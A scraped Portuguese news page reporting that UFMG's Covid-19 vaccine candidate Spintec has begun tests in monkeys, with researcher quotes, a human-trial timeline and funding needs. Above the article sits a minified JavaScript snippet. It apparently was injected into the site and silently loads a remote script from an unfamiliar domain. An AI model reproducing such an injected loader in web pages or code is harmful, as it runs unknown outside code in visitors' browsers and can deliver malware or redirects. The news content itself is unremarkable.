;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); Vacina da UFMG contra Covid-19 avança para testes em macacos. - Portal Carangola

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Vacina da UFMG contra Covid-19 avança para testes em macacos.

Antídoto contra o novo coronavírus está sendo desenvolvido na UFMG

Etapa, que deve durar 60 dias, é pré-requisito para experimentos em humanos, explicou a universidade

A vacina que a UFMG está desenvolvendo para proteger a população contra a Covid-19 avançou de fase. Nesta semana, a instituição iniciou os testes em macacos. Essa etapa da pesquisa, que deve durar 60 dias, é pré-requisito obrigatório para experimentos em humanos. A previsão é de que o imunizante comece a ser testado em humanos a partir de outubro deste ano.

Até então, a Spintec, como o antídoto foi provisoriamente batizado, apresentou resultados satisfatórios nos testes pré-clínicos em camundongos. Por isso, teve a autorização para os testes com os primatas. “Os camundongos imunizados ficaram 100% protegidos, ou seja, nenhum veio a óbito ou adoeceu. Isso é o sinal da eficiência da vacina que esperamos confirmar com os testes com os primatas”, detalhou o professor Flávio Fonseca, pesquisador do CT-Vacinas.

Três grupos de primatas participam dos testes. O primeiro grupo, com quatro macacos, está recebendo o imunizante com um adjuvante, substância que aumenta a resposta imunológica do indivíduo. O segundo grupo, também formado por quatro animais, recebe a vacina com outro tipo de adjuvante. O terceiro grupo, o de controle, é formado por dois macacos que não receberão a vacina.

“O experimento com os primatas testa a segurança e a imunogenicidade da vacina, ou seja, nos permite ver se ela provoca algum efeito colateral e se gera anticorpos nas células de defesa. O primata é o animal mais próximo do ser humano. Portanto, nessa fase de testes pré-clínicos é possível verificar qualidade e eficiência da vacina em humanos”, explica Flávio Fonseca.

O pesquisador acrescenta que os animais usados no experimento foram resgatados pelo Instituto Brasileiro do Meio Ambiente e dos Recursos Naturais Renováveis (Ibama). Eles foram microchipados e retornarão ao órgão após os testes para serem devolvidos à natureza. “Nenhum animal sofrerá eutanásia”, afirma o pesquisador.

O início dos testes em humanos pode ocorrer ainda neste ano, segundo os pesquisadores responsáveis pelo estudo. Porém, essa etapa requer a produção de um lote piloto da vacina dentro de rigorosos critérios de boas práticas e controle de qualidade, o que exigirá maior volume de recursos financeiros.

Os primatas já receberam a primeira dose da vacina, e os testes devem durar 60 dias. Após essa etapa, os pesquisadores esperam a autorização para iniciarem os testes clínicos em humanos, que contarão com três fases. “Nossa intenção é começar os testes em humanos em outubro deste ano. Essa próxima etapa pode ser dividida em três momentos: as fases 1 e 2 levarão de 60 a 80 dias. A fase 3 durará cerca de seis meses. Caso os testes confirmem a segurança e a eficácia da vacina, teremos um imunizante no mercado no fim de 2022”, projeta o pesquisador.

Financiamento

Nesta semana, o presidente da Assembleia Legislativa de Minas Gerais (ALMG), Agostinho Patrus (PV), afirmou que trabalhará em uma emenda para que parte do acordo do governo de Minas com a Vale seja destinada ao desenvolvimento de uma vacina contra a Covid-19 pela UFMG. Segundo a reitora da Federal mineira, Sandra Goulart, são necessários R$ 30 milhões para que os próximos testes do imunizante, considerado um dos mais avançados no processo pelo Ministério da Ciência, Tecnologia e Inovações (MCTI), avancem e ele esteja disponível em 2022.

Spintec

Além da UFMG, também participam do desenvolvimento da vacina a Fundação Oswaldo Cruz (Fiocruz), com financiamento do Ministério da Ciência, Tecnologia e Inovações (MCTI). A plataforma tecnológica usada na vacina consiste na combinação de duas proteínas, entre elas a proteína S, utilizada pelo novo coronavírus para invadir as células do hospedeiro. Essas proteínas são combinadas em uma proteína “quimera”, que obteve os resultados positivos na prova de conceito.

Informação: O Tempo

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